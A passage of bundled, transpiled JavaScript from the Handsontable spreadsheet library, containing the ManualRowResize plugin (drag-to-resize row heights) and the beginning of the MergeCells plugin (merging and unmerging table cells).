_possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } // Developer note! Whenever you make a change in this file, make an analogous change in manualRowResize.js /** * @description * This plugin allows to change rows height. To make rows height persistent the {@link Options#persistentState} * plugin should be enabled. * * The plugin creates additional components to make resizing possibly using user interface: * - handle - the draggable element that sets the desired height of the row. * - guide - the helper guide that shows the desired height as a horizontal guide. * * @plugin ManualRowResize */ var ManualRowResize = /*#__PURE__*/ function (_BasePlugin) { _inherits(ManualRowResize, _BasePlugin); function ManualRowResize(hotInstance) { var _this; _classCallCheck(this, ManualRowResize); _this = _possibleConstructorReturn(this, _getPrototypeOf(ManualRowResize).call(this, hotInstance)); _this.currentTH = null; _this.currentRow = null; _this.selectedRows = []; _this.currentHeight = null; _this.newSize = null; _this.startY = null; _this.startHeight = null; _this.startOffset = null; _this.handle = document.createElement('DIV'); _this.guide = document.createElement('DIV'); _this.eventManager = new _eventManager.default(_assertThisInitialized(_assertThisInitialized(_this))); _this.pressed = null; _this.dblclick = 0; _this.autoresizeTimeout = null; _this.manualRowHeights = []; (0, _element.addClass)(_this.handle, 'manualRowResizer'); (0, _element.addClass)(_this.guide, 'manualRowResizerGuide'); return _this; } /** * Checks if the plugin is enabled in the handsontable settings. This method is executed in {@link Hooks#beforeInit} * hook and if it returns `true` than the {@link ManualRowResize#enablePlugin} method is called. * * @returns {Boolean} */ _createClass(ManualRowResize, [{ key: "isEnabled", value: function isEnabled() { return this.hot.getSettings().manualRowResize; } /** * Enables the plugin functionality for this Handsontable instance. */ }, { key: "enablePlugin", value: function enablePlugin() { var _this2 = this; if (this.enabled) { return; } this.manualRowHeights = []; var initialRowHeights = this.hot.getSettings().manualRowResize; var loadedManualRowHeights = this.loadManualRowHeights(); if (typeof loadedManualRowHeights !== 'undefined') { this.manualRowHeights = loadedManualRowHeights; } else if (Array.isArray(initialRowHeights)) { this.manualRowHeights = initialRowHeights; } else { this.manualRowHeights = []; } this.addHook('modifyRowHeight', function (height, row) { return _this2.onModifyRowHeight(height, row); }); // Handsontable.hooks.register('beforeRowResize'); // Handsontable.hooks.register('afterRowResize'); this.bindEvents(); _get(_getPrototypeOf(ManualRowResize.prototype), "enablePlugin", this).call(this); } /** * Updates the plugin state. This method is executed when {@link Core#updateSettings} is invoked. */ }, { key: "updatePlugin", value: function updatePlugin() { var initialRowHeights = this.hot.getSettings().manualRowResize; if (Array.isArray(initialRowHeights)) { this.manualRowHeights = initialRowHeights; } else if (!initialRowHeights) { this.manualRowHeights = []; } } /** * Disables the plugin functionality for this Handsontable instance. */ }, { key: "disablePlugin", value: function disablePlugin() { _get(_getPrototypeOf(ManualRowResize.prototype), "disablePlugin", this).call(this); } /** * Saves the current sizes using the persistentState plugin (the {@link Options#persistentState} option has to be enabled). * @fires Hooks#persistentStateSave * @fires Hooks#manualRowHeights */ }, { key: "saveManualRowHeights", value: function saveManualRowHeights() { this.hot.runHooks('persistentStateSave', 'manualRowHeights', this.manualRowHeights); } /** * Loads the previously saved sizes using the persistentState plugin (the {@link Options#persistentState} option has to be enabled). * * @returns {Array} * @fires Hooks#persistentStateLoad * @fires Hooks#manualRowHeights */ }, { key: "loadManualRowHeights", value: function loadManualRowHeights() { var storedState = {}; this.hot.runHooks('persistentStateLoad', 'manualRowHeights', storedState); return storedState.value; } /** * Sets the resize handle position. * * @private * @param {HTMLCellElement} TH TH HTML element. */ }, { key: "setupHandlePosition", value: function setupHandlePosition(TH) { var _this3 = this; this.currentTH = TH; var row = this.hot.view.wt.wtTable.getCoords(TH).row; // getCoords returns CellCoords var headerWidth = (0, _element.outerWidth)(this.currentTH); if (row >= 0) { // if not col header var box = this.currentTH.getBoundingClientRect(); this.currentRow = row; this.selectedRows = []; if (this.hot.selection.isSelected() && this.hot.selection.isSelectedByRowHeader()) { var _this$hot$getSelected = this.hot.getSelectedRangeLast(), from = _this$hot$getSelected.from, to = _this$hot$getSelected.to; var start = from.row; var end = to.row; if (start >= end) { start = to.row; end = from.row; } if (this.currentRow >= start && this.currentRow <= end) { (0, _number.rangeEach)(start, end, function (i) { return _this3.selectedRows.push(i); }); } else { this.selectedRows.push(this.currentRow); } } else { this.selectedRows.push(this.currentRow); } this.startOffset = box.top - 6; this.startHeight = parseInt(box.height, 10); this.handle.style.left = "".concat(box.left, "px"); this.handle.style.top = "".concat(this.startOffset + this.startHeight, "px"); this.handle.style.width = "".concat(headerWidth, "px"); this.hot.rootElement.appendChild(this.handle); } } /** * Refresh the resize handle position. * * @private */ }, { key: "refreshHandlePosition", value: function refreshHandlePosition() { this.handle.style.top = "".concat(this.startOffset + this.currentHeight, "px"); } /** * Sets the resize guide position. * * @private */ }, { key: "setupGuidePosition", value: function setupGuidePosition() { var handleWidth = parseInt((0, _element.outerWidth)(this.handle), 10); var handleRightPosition = parseInt(this.handle.style.left, 10) + handleWidth; var maximumVisibleElementWidth = parseInt(this.hot.view.maximumVisibleElementWidth(0), 10); (0, _element.addClass)(this.handle, 'active'); (0, _element.addClass)(this.guide, 'active'); this.guide.style.top = this.handle.style.top; this.guide.style.left = "".concat(handleRightPosition, "px"); this.guide.style.width = "".concat(maximumVisibleElementWidth - handleWidth, "px"); this.hot.rootElement.appendChild(this.guide); } /** * Refresh the resize guide position. * * @private */ }, { key: "refreshGuidePosition", value: function refreshGuidePosition() { this.guide.style.top = this.handle.style.top; } /** * Hides both the resize handle and resize guide. * * @private */ }, { key: "hideHandleAndGuide", value: function hideHandleAndGuide() { (0, _element.removeClass)(this.handle, 'active'); (0, _element.removeClass)(this.guide, 'active'); } /** * Checks if provided element is considered as a row header. * * @private * @param {HTMLElement} element HTML element. * @returns {Boolean} */ }, { key: "checkIfRowHeader", value: function checkIfRowHeader(element) { if (element !== this.hot.rootElement) { var parent = element.parentNode; if (parent.tagName === 'TBODY') { return true; } return this.checkIfRowHeader(parent); } return false; } /** * Gets the TH element from the provided element. * * @private * @param {HTMLElement} element HTML element. * @returns {HTMLElement} */ }, { key: "getTHFromTargetElement", value: function getTHFromTargetElement(element) { if (element.tagName !== 'TABLE') { if (element.tagName === 'TH') { return element; } return this.getTHFromTargetElement(element.parentNode); } return null; } /** * 'mouseover' event callback - set the handle position. * * @private * @param {MouseEvent} event */ }, { key: "onMouseOver", value: function onMouseOver(event) { if (this.checkIfRowHeader(event.target)) { var th = this.getTHFromTargetElement(event.target); if (th) { if (!this.pressed) { this.setupHandlePosition(th); } } } } /** * Auto-size row after doubleclick - callback. * * @private * @fires Hooks#beforeRowResize * @fires Hooks#afterRowResize */ }, { key: "afterMouseDownTimeout", value: function afterMouseDownTimeout() { var _this4 = this; var render = function render() { _this4.hot.forceFullRender = true; _this4.hot.view.render(); // updates all _this4.hot.view.wt.wtOverlays.adjustElementsSize(true); }; var resize = function resize(selectedRow, forceRender) { var hookNewSize = _this4.hot.runHooks('beforeRowResize', selectedRow, _this4.newSize, true); if (hookNewSize !== void 0) { _this4.newSize = hookNewSize; } _this4.setManualSize(selectedRow, _this4.newSize); // double click sets auto row size if (forceRender) { render(); } _this4.hot.runHooks('afterRowResize', selectedRow, _this4.newSize, true); }; if (this.dblclick >= 2) { var selectedRowsLength = this.selectedRows.length; if (selectedRowsLength > 1) { (0, _array.arrayEach)(this.selectedRows, function (selectedRow) { resize(selectedRow); }); render(); } else { (0, _array.arrayEach)(this.selectedRows, function (selectedRow) { resize(selectedRow, true); }); } } this.dblclick = 0; this.autoresizeTimeout = null; } /** * 'mousedown' event callback. * * @private * @param {MouseEvent} event */ }, { key: "onMouseDown", value: function onMouseDown(event) { var _this5 = this; if ((0, _element.hasClass)(event.target, 'manualRowResizer')) { this.setupGuidePosition(); this.pressed = this.hot; if (this.autoresizeTimeout === null) { this.autoresizeTimeout = setTimeout(function () { return _this5.afterMouseDownTimeout(); }, 500); this.hot._registerTimeout(this.autoresizeTimeout); } this.dblclick += 1; this.startY = (0, _event.pageY)(event); this.newSize = this.startHeight; } } /** * 'mousemove' event callback - refresh the handle and guide positions, cache the new row height. * * @private * @param {MouseEvent} event */ }, { key: "onMouseMove", value: function onMouseMove(event) { var _this6 = this; if (this.pressed) { this.currentHeight = this.startHeight + ((0, _event.pageY)(event) - this.startY); (0, _array.arrayEach)(this.selectedRows, function (selectedRow) { _this6.newSize = _this6.setManualSize(selectedRow, _this6.currentHeight); }); this.refreshHandlePosition(); this.refreshGuidePosition(); } } /** * 'mouseup' event callback - apply the row resizing. * * @private * * @fires Hooks#beforeRowResize * @fires Hooks#afterRowResize */ }, { key: "onMouseUp", value: function onMouseUp() { var _this7 = this; var render = function render() { _this7.hot.forceFullRender = true; _this7.hot.view.render(); // updates all _this7.hot.view.wt.wtOverlays.adjustElementsSize(true); }; var runHooks = function runHooks(selectedRow, forceRender) { _this7.hot.runHooks('beforeRowResize', selectedRow, _this7.newSize); if (forceRender) { render(); } _this7.saveManualRowHeights(); _this7.hot.runHooks('afterRowResize', selectedRow, _this7.newSize, false); }; if (this.pressed) { this.hideHandleAndGuide(); this.pressed = false; if (this.newSize !== this.startHeight) { var selectedRowsLength = this.selectedRows.length; if (selectedRowsLength > 1) { (0, _array.arrayEach)(this.selectedRows, function (selectedRow) { runHooks(selectedRow); }); render(); } else { (0, _array.arrayEach)(this.selectedRows, function (selectedRow) { runHooks(selectedRow, true); }); } } this.setupHandlePosition(this.currentTH); } } /** * Binds the mouse events. * * @private */ }, { key: "bindEvents", value: function bindEvents() { var _this8 = this; this.eventManager.addEventListener(this.hot.rootElement, 'mouseover', function (e) { return _this8.onMouseOver(e); }); this.eventManager.addEventListener(this.hot.rootElement, 'mousedown', function (e) { return _this8.onMouseDown(e); }); this.eventManager.addEventListener(window, 'mousemove', function (e) { return _this8.onMouseMove(e); }); this.eventManager.addEventListener(window, 'mouseup', function () { return _this8.onMouseUp(); }); } /** * Sets the new height for specified row index. * * @param {Number} row Visual row index. * @param {Number} height Row height. * @returns {Number} Returns new height. * * @fires Hooks#modifyRow */ }, { key: "setManualSize", value: function setManualSize(row, height) { var physicalRow = this.hot.runHooks('modifyRow', row); this.manualRowHeights[physicalRow] = height; return height; } /** * Modifies the provided row height, based on the plugin settings. * * @private * @param {Number} height Row height. * @param {Number} row Visual row index. * @returns {Number} * * @fires Hooks#modifyRow */ }, { key: "onModifyRowHeight", value: function onModifyRowHeight(height, row) { if (this.enabled) { var autoRowSizePlugin = this.hot.getPlugin('autoRowSize'); var autoRowHeightResult = autoRowSizePlugin ? autoRowSizePlugin.heights[row] : null; var physicalRow = this.hot.runHooks('modifyRow', row); var manualRowHeight = this.manualRowHeights[physicalRow]; if (manualRowHeight !== void 0 && (manualRowHeight === autoRowHeightResult || manualRowHeight > (height || 0))) { return manualRowHeight; } } return height; } }]); return ManualRowResize; }(_base.default); (0, _plugins.registerPlugin)('manualRowResize', ManualRowResize); var _default = ManualRowResize; exports.default = _default; /***/ }), /* 735 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _base = _interopRequireDefault(__webpack_require__(15)); var _pluginHooks = _interopRequireDefault(__webpack_require__(22)); var _plugins = __webpack_require__(13); var _event = __webpack_require__(18); var _src = __webpack_require__(8); var _cellsCollection = _interopRequireDefault(__webpack_require__(736)); var _cellCoords = _interopRequireDefault(__webpack_require__(128)); var _autofill = _interopRequireDefault(__webpack_require__(737)); var _selection = _interopRequireDefault(__webpack_require__(738)); var _toggleMerge = _interopRequireDefault(__webpack_require__(739)); var _array = __webpack_require__(3); var _object = __webpack_require__(2); var _console = __webpack_require__(76); var _number = __webpack_require__(9); var _utils = __webpack_require__(436); __webpack_require__(740); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function _toConsumableArray(arr) { return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _nonIterableSpread(); } function _nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance"); } function _iterableToArray(iter) { if (Symbol.iterator in Object(iter) || Object.prototype.toString.call(iter) === "[object Arguments]") return Array.from(iter); } function _arrayWithoutHoles(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = new Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } _pluginHooks.default.getSingleton().register('beforeMergeCells'); _pluginHooks.default.getSingleton().register('afterMergeCells'); _pluginHooks.default.getSingleton().register('beforeUnmergeCells'); _pluginHooks.default.getSingleton().register('afterUnmergeCells'); var privatePool = new WeakMap(); /** * @plugin MergeCells * * @description * Plugin, which allows merging cells in the table (using the initial configuration, API or context menu). * * @example * * ```js * const hot = new Handsontable(document.getElementById('example'), { * data: getData(), * mergeCells: [ * {row: 0, col: 3, rowspan: 3, colspan: 3}, * {row: 2, col: 6, rowspan: 2, colspan: 2}, * {row: 4, col: 8, rowspan: 3, colspan: 3} * ], * ``` */ var MergeCells = /*#__PURE__*/ function (_BasePlugin) { _inherits(MergeCells, _BasePlugin); function MergeCells(hotInstance) { var _this; _classCallCheck(this, MergeCells); _this = _possibleConstructorReturn(this, _getPrototypeOf(MergeCells).call(this, hotInstance)); privatePool.set(_assertThisInitialized(_assertThisInitialized(_this)), { lastDesiredCoords: null }); /** * A container for all the merged cells. * * @private * @type {MergedCellsCollection} */ _this.mergedCellsCollection = null; /** * Instance of the class responsible for all the autofill-related calculations. * * @private * @type {AutofillCalculations} */ _this.autofillCalculations = null; /** * Instance of the class responsible for the selection-related calculations. * * @private * @type {SelectionCalculations} */ _this.selectionCalculations = null; return _this; } /** * Checks if the plugin is enabled in the handsontable settings. This method is executed in {@link Hooks#beforeInit} * hook and if it returns `true` than the {@link MergeCells#enablePlugin} method is called. * * @returns {Boolean} */ _createClass(MergeCells, [{ key: "isEnabled", value: function isEnabled() { return !!this.hot.getSettings().mergeCells; } /** * Enables the plugin functionality for this Handsontable instance. */ }, { key: "enablePlugin", value: function enablePlugin() { var _this2 = this; if (this.enabled) { return; } this.mergedCellsCollection = new _cellsCollection.default(this); this.autofillCalculations = new _autofill.default(this); this.selectionCalculations = new _selection.default(this); this.addHook('afterInit', function () { return _this2.onAfterInit.apply(_this2, arguments); }); this.addHook('beforeKeyDown', function () { return _this2.onBeforeKeyDown.apply(_this2, arguments); }); this.addHook('modifyTransformStart', function () { return _this2.onModifyTransformStart.apply(_this2, arguments); }); this.addHook('afterModifyTransformStart', function () { return _this2.onAfterModifyTransformStart.apply(_this2, arguments); }); this.addHook('modifyTransformEnd', function () { return _this2.onModifyTransformEnd.apply(_this2, arguments); }); this.addHook('modifyGetCellCoords', function () { return _this2.onModifyGetCellCoords.apply(_this2, arguments); }); this.addHook('beforeSetRangeEnd', function () { return _this2.onBeforeSetRangeEnd.apply(_this2, arguments); }); this.addHook('afterIsMultipleSelection', function () { return _this2.onAfterIsMultipleSelection.apply(_this2, arguments); }); this.addHook('afterRenderer', function () { return _this2.onAfterRenderer.apply(_this2, arguments); }); this.addHook('afterContextMenuDefaultOptions', function () { return _this2.addMergeActionsToContextMenu.apply(_this2, arguments); }); this.addHook('afterGetCellMeta', function () { return _this2.onAfterGetCellMeta.apply(_this2, arguments); }); this.addHook('afterViewportRowCalculatorOverride', function () { return _this2.onAfterViewportRowCalculatorOverride.apply(_this2, arguments); }); this.addHook('afterViewportColumnCalculatorOverride', function () { return _this2.onAfterViewportColumnCalculatorOverride.apply(_this2, arguments); }); this.addHook('modifyAutofillRange', function () { return _this2.onModifyAutofillRange.apply(_this2, arguments); }); this.addHook('afterCreateCol', function () { return _this2.onAfterCreateCol.apply(_this2, arguments); }); this.addHook('afterRemoveCol', function () { return _this2.onAfterRemoveCol.apply(_this2, arguments); }); this.addHook('afterCreateRow', function () { return _this2.onAfterCreateRow.apply(_this2, arguments); }); this.addHook('afterRemoveRow', function () { return _this2.onAfterRemoveRow.apply(_this2, arguments); }); this.addHook('afterChange', function () { return _this2.onAfterChange.apply(_this2, arguments); }); this.addHook('beforeDrawBorders', function () { return _this2.onBeforeDrawAreaBorders.apply(_this2, arguments); }); this.addHook('afterDrawSelection', function () { return _this2.onAfterDrawSelection.apply(_this2, arguments); }); this.addHook('beforeRemoveCellClassNames', function () { return _this2.onBeforeRemoveCellClassNames.apply(_this2, arguments); }); _get(_getPrototypeOf(MergeCells.prototype), "enablePlugin", this).call(this); } /** * Disables the plugin functionality for this Handsontable instance. */ }, { key: "disablePlugin", value: function disablePlugin() { this.clearCollections(); this.hot.render(); _get(_getPrototypeOf(MergeCells.prototype), "disablePlugin", this).call(this); } /** * Updates the plugin state. This method is executed when {@link Core#updateSettings} is invoked. */ }, { key: "updatePlugin", value: function updatePlugin() { var settings = this.hot.getSettings().mergeCells; this.disablePlugin(); this.enablePlugin(); this.generateFromSettings(settings); _get(_getPrototypeOf(MergeCells.prototype), "updatePlugin", this).call(this); } /** * Validates a single setting object, represented by a single merged cell information object. * * @private * @param {Object} setting An object with `row`, `col`, `rowspan` and `colspan` properties. * @return {Boolean} */ }, { key: "validateSetting", value: function validateSetting(setting) { var valid = true; if (!setting) { return false; } if (_cellCoords.default.containsNegativeValues(setting)) { (0, _console.warn)(_cellCoords.default.NEGATIVE_VALUES_WARNING(setting)); valid = false; } else if (_cellCoords.default.isOutOfBounds(setting, this.hot.countRows(), this.hot.countCols())) { (0, _console.warn)(_cellCoords.default.IS_OUT_OF_BOUNDS_WARNING(setting)); valid = false; } else if (_cellCoords.default.isSingleCell(setting)) { (0, _console.warn)(_cellCoords.default.IS_SINGLE_CELL(setting)); valid = false; } else if (_cellCoords.default.containsZeroSpan(setting)) { (0, _console.warn)(_cellCoords.default.ZERO_SPAN_WARNING(setting)); valid = false; } return valid; } /** * Generates the merged cells from the settings provided to the plugin. * * @private * @param {Array|Boolean} settings The settings provided to the plugin. */ }, { key: "generateFromSettings", value: function generateFromSettings(settings) { var _this3 = this; if (Array.isArray(settings)) { var _this$hot; var populationArgumentsList = []; (0, _array.arrayEach)(settings, function (setting) { if (!_this3.validateSetting(setting)) { return; } var highlight = new _src.CellCoords(setting.row, setting.col); var rangeEnd = new _src.CellCoords(setting.row + setting.rowspan - 1, setting.col + setting.colspan - 1); var mergeRange = new _src.CellRange(highlight, highlight, rangeEnd); populationArgumentsList.push(_this3.mergeRange(mergeRange, true, true)); }); // remove 'empty' setting objects, caused by improper merge range declarations populationArgumentsList = populationArgumentsList.filter(function (value) { return value !== true; }); var bulkPopulationData = this.getBulkCollectionData(populationArgumentsList); (_this$hot = this.hot).populateFromArray.apply(_this$hot, _toConsumableArray(bulkPopulationData)); } } /** * Generates a bulk set of all the data to be populated to fill the data "under" the added merged cells. * * @private * @param {Array} populationArgumentsList Array in a form of `[row, column, dataUnderCollection]`. * @return {Array} Array in a form of `[row, column, dataOfAllCollections]`. */ }, { key: "getBulkCollectionData", value: function getBulkCollectionData(populationArgumentsList) { var _this$hot2; var populationDataRange = this.getBulkCollectionDataRange(populationArgumentsList); var dataAtRange = (_this$hot2 = this.hot).getData.apply(_this$hot2, _toConsumableArray(populationDataRange)); var newDataAtRange = dataAtRange.splice(0); (0, _array.arrayEach)(populationArgumentsList, function (mergedCellArguments) { var _mergedCellArguments = _slicedToArray(mergedCellArguments, 3), mergedCellRowIndex = _mergedCellArguments[0], mergedCellColumnIndex = _mergedCellArguments[1], mergedCellData = _mergedCellArguments[2]; (0, _array.arrayEach)(mergedCellData, function (mergedCellRow, rowIndex) { (0, _array.arrayEach)(mergedCellRow, function (mergedCellElement, columnIndex) { newDataAtRange[mergedCellRowIndex - populationDataRange[0] + rowIndex][mergedCellColumnIndex - populationDataRange[1] + columnIndex] = mergedCellElement; }); }); }); return [populationDataRange[0], populationDataRange[1], newDataAtRange]; } /** * Gets the range of combined data ranges provided in a form of an array of arrays ([row, column, dataUnderCollection]) * * @private * @param {Array} populationArgumentsList Array containing argument lists for the `populateFromArray` method - row, column and data for population. * @return {Array[]} Start and end coordinates of the merged cell range. (in a form of [rowIndex, columnIndex]) */ }, { key: "getBulkCollectionDataRange", value: function getBulkCollectionDataRange(populationArgumentsList) { var start = [0, 0]; var end = [0, 0]; var mergedCellRow = null; var mergedCellColumn = null; var mergedCellData = null; (0, _array.arrayEach)(populationArgumentsList, function (mergedCellArguments) { mergedCellRow = mergedCellArguments[0]; mergedCellColumn = mergedCellArguments[1]; mergedCellData = mergedCellArguments[2]; start[0] = Math.min(mergedCellRow, start[0]); start[1] = Math.min(mergedCellColumn, start[1]); end[0] = Math.max(mergedCellRow + mergedCellData.length - 1, end[0]); end[1] = Math.max(mergedCellColumn + mergedCellData[0].length - 1, end[1]); }); return [].concat(start, end); } /** * Clears the merged cells from the merged cell container. */ }, { key: "clearCollections", value: function clearCollections() { this.mergedCellsCollection.clear(); } /** * Returns `true` if a range is mergeable. * * @private * @param {Object} newMergedCellInfo Merged cell information object to test. * @param {Boolean} [auto=false] `true` if triggered at initialization. * @returns {Boolean} */ }, { key: "canMergeRange", value: function canMergeRange(newMergedCellInfo) { var auto = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; return auto ? true : this.validateSetting(newMergedCellInfo); } /** * Merge or unmerge, based on last selected range. * * @private */ }, { key: "toggleMergeOnSelection", value: function toggleMergeOnSelection() { var currentRange = this.hot.getSelectedRangeLast(); if (!currentRange) { return; } currentRange.setDirection('NW-SE'); var from = currentRange.from, to = currentRange.to; this.toggleMerge(currentRange); this.hot.selectCell(from.row, from.col, to.row, to.col, false); } /** * Merges the selection provided as a cell range. * * @param {CellRange} [cellRange] Selection cell range. */ }, { key: "mergeSelection", value: function mergeSelection() { var cellRange = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.hot.getSelectedRangeLast(); if (!cellRange) { return; } cellRange.setDirection('NW-SE'); var from = cellRange.from, to = cellRange.to; this.unmergeRange(cellRange, true); this.mergeRange(cellRange); this.hot.selectCell(from.row, from.col, to.row, to.col, false); } /** * Unmerges the selection provided as a cell range. * * @param {CellRange} [cellRange] Selection cell range. */ }, { key: "unmergeSelection", value: function unmergeSelection() { var cellRange = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.hot.getSelectedRangeLast(); if (!cellRange) { return; } var from = cellRange.from, to = cellRange.to; this.unmergeRange(cellRange, true); this.hot.selectCell(from.row, from.col, to.row, to.col, false); } /** * Merges cells in the provided cell range. * * @private * @param {CellRange} cellRange Cell range to merge. * @param {Boolean} [auto=false] `true` if is called automatically, e.g. at initialization. * @param {Boolean} [preventPopulation=false] `true`, if the method should not run `populateFromArray` at the end, but rather return its arguments. * @returns {Array|Boolean} Returns an array of [row, column, dataUnderCollection] if preventPopulation is set to true. If the the merging process went successful, it returns `true`, otherwise - `false`. * @fires Hooks#beforeMergeCells * @fires Hooks#afterMergeCells */ }, { key: "mergeRange", value: function mergeRange(cellRange) { var _this4 = this; var auto = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; var preventPopulation = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; var topLeft = cellRange.getTopLeftCorner(); var bottomRight = cellRange.getBottomRightCorner(); var mergeParent = { row: topLeft.row, col: topLeft.col, rowspan: bottomRight.row - topLeft.row + 1, colspan: bottomRight.col - topLeft.col + 1 }; var clearedData = []; var populationInfo = null; if (!this.canMergeRange(mergeParent, auto)) { return false; } this.hot.runHooks('beforeMergeCells', cellRange, auto); (0, _number.rangeEach)(0, mergeParent.rowspan - 1, function (i) { (0, _number.rangeEach)(0, mergeParent.colspan - 1, function (j) { var clearedValue = null; if (!clearedData[i]) { clearedData[i] = []; } if (i === 0 && j === 0) { clearedValue = _this4.hot.getDataAtCell(mergeParent.row, mergeParent.col); } else { _this4.hot.setCellMeta(mergeParent.row + i, mergeParent.col + j, 'hidden', true); } clearedData[i][j] = clearedValue; }); }); this.hot.setCellMeta(mergeParent.row, mergeParent.col, 'spanned', true); var mergedCellAdded = this.mergedCellsCollection.add(mergeParent); if (mergedCellAdded) { if (preventPopulation) { populationInfo = [mergeParent.row, mergeParent.col, clearedData]; } else { this.hot.populateFromArray(mergeParent.row, mergeParent.col, clearedData, void 0, void 0, this.pluginName); } this.hot.runHooks('afterMergeCells', cellRange, mergeParent, auto); return populationInfo; } return true; } /** * Unmerges the selection provided as a cell range. If no cell range is provided, it uses the current selection. * * @private * @param {CellRange} cellRange Selection cell range. * @param {Boolean} [auto=false] `true` if called automatically by the plugin. * * @fires Hooks#beforeUnmergeCells * @fires Hooks#afterUnmergeCells */ }, { key: "unmergeRange", value: function unmergeRange(cellRange) { var _this5 = this; var auto = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; var mergedCells = this.mergedCellsCollection.getWithinRange(cellRange); if (!mergedCells) { return; } this.hot.runHooks('beforeUnmergeCells', cellRange, auto); (0, _array.arrayEach)(mergedCells, function (currentCollection) { _this5.mergedCellsCollection.remove(currentCollection.row, currentCollection.col); (0, _number.rangeEach)(0, currentCollection.rowspan - 1, function (i) { (0, _number.rangeEach)(0, currentCollection.colspan - 1, function (j) { _this5.hot.removeCellMeta(currentCollection.row + i, currentCollection.col + j, 'hidden'); }); }); _this5.hot.removeCellMeta(currentCollection.row, currentCollection.col, 'spanned'); }); this.hot.render(); this.hot.runHooks('afterUnmergeCells', cellRange, auto); } /** * Merges or unmerges, based on the cell range provided as `cellRange`. * * @private * @param {CellRange} cellRange The cell range to merge or unmerged. */ }, { key: "toggleMerge", value: function toggleMerge(cellRange) { var mergedCell = this.mergedCellsCollection.get(cellRange.from.row, cellRange.from.col); var mergedCellCoversWholeRange = mergedCell.row === cellRange.from.row && mergedCell.col === cellRange.from.col && mergedCell.row + mergedCell.rowspan - 1 === cellRange.to.row && mergedCell.col + mergedCell.colspan - 1 === cellRange.to.col; if (mergedCellCoversWholeRange) { this.unmergeRange(cellRange); } else { this.mergeSelection(cellRange); } } /** * Merges the specified range. * * @param 